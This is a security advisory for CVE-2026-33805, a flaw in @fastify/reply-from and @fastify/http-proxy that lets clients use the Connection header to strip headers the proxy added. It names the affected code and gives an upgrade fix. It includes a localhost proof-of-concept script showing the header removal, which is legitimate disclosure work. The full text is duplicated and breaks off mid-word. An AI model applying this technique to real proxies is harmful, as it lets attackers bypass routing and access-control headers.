CVE-2026-33805

@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from.

Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.

@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from.

Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.

Summary

@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.

Details

The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:

1. Client headers are copied including the connection header (@fastify/reply-from/index.js line 91)
2. The proxy adds custom headers via rewriteRequestHeaders (line 151)
3. During request construction, the transport handlers read the client's Connection header and strip any headers listed in it
4. This stripping happens after rewriteRequestHeaders, allowing clients to target proxy-added headers for removal

RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.

The call chain:

1. @fastify/reply-from/index.js line 91: headers = { ...req.headers } — copies ALL client headers including connection
2. index.js line 151: requestHeaders = rewriteRequestHeaders(this.request, headers) — proxy adds custom headers (e.g., x-forwarded-by)
3. index.js line 180: requestImpl({...headers: requestHeaders...}) — passes headers to transport
4. request.js line 191 (undici): getConnectionHeaders(req.headers) — reads Connection header FROM THE CLIENT
5. request.js lines 198-200: Strips headers listed in Connection — including proxy-added headers

This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.

PoC

Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:

const fastify = require('fastify');

async function test() {
  // Upstream service that echoes headers
  const upstream = fastify({ logger: false });
  upstream.get('/api/echo-headers', async (request) => {
    return { headers: request.headers };
  });
  await upstream.listen({ port: 19801 });

  // Proxy that adds a custom header via rewriteRequestHeaders
  const proxy = fastify({ logger: false });
  await proxy.register(require('@fastify/reply-from'), {
    base: 'http://localhost:19801'
  });

  proxy.get('/proxy/*', async (request, reply) => {
    const target = '/' + (request.params['*'] || '');
    return reply.from(target, {
      rewriteRequestHeaders: (originalReq, headers) => {
        return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
      }
    });
  });

  await proxy.listen({ port: 19800 });

  // Baseline: proxy adds x-forwarded-by header
  const res1 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers'
  });
  console.log('Baseline response headers from upstream:');
  const body1 = JSON.parse(res1.body);
  console.log('  x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');

  // Attack: Connection header strips the proxy-added header
  const res2 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers',
    headers: { 'connection': 'x-forwarded-by' }
  });
  console.log('\nAttack response headers from upstream:');
  const body2 = JSON.parse(res2.body);
  console.log('  x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');

  await proxy.close();
  await upstream.close();
}
test();

Actual…

@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from.

Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.

@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from.

Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.

Summary

@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.

Details

The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:

1. Client headers are copied including the connection header (@fastify/reply-from/index.js line 91)
2. The proxy adds custom headers via rewriteRequestHeaders (line 151)
3. During request construction, the transport handlers read the client's Connection header and strip any headers listed in it
4. This stripping happens after rewriteRequestHeaders, allowing clients to target proxy-added headers for removal

RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.

The call chain:

1. @fastify/reply-from/index.js line 91: headers = { ...req.headers } — copies ALL client headers including connection
2. index.js line 151: requestHeaders = rewriteRequestHeaders(this.request, headers) — proxy adds custom headers (e.g., x-forwarded-by)
3. index.js line 180: requestImpl({...headers: requestHeaders...}) — passes headers to transport
4. request.js line 191 (undici): getConnectionHeaders(req.headers) — reads Connection header FROM THE CLIENT
5. request.js lines 198-200: Strips headers listed in Connection — including proxy-added headers

This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.

PoC

Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:

const fastify = require('fastify');

async function test() {
  // Upstream service that echoes headers
  const upstream = fastify({ logger: false });
  upstream.get('/api/echo-headers', async (request) => {
    return { headers: request.headers };
  });
  await upstream.listen({ port: 19801 });

  // Proxy that adds a custom header via rewriteRequestHeaders
  const proxy = fastify({ logger: false });
  await proxy.register(require('@fastify/reply-from'), {
    base: 'http://localhost:19801'
  });

  proxy.get('/proxy/*', async (request, reply) => {
    const target = '/' + (request.params['*'] || '');
    return reply.from(target, {
      rewriteRequestHeaders: (originalReq, headers) => {
        return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
      }
    });
  });

  await proxy.listen({ port: 19800 });

  // Baseline: proxy adds x-forwarded-by header
  const res1 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers'
  });
  console.log('Baseline response headers from upstream:');
  const body1 = JSON.parse(res1.body);
  console.log('  x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');

  // Attack: Connection header strips the proxy-added header
  const res2 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers',
    headers: { 'connection': 'x-forwarded-by' }
  });
  console.log('\nAttack response headers from upstream:');
  const body2 = JSON.parse(res2.body);
  console.log('  x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');

  await proxy.close();
  await upstream.close();
}
test();

Actual…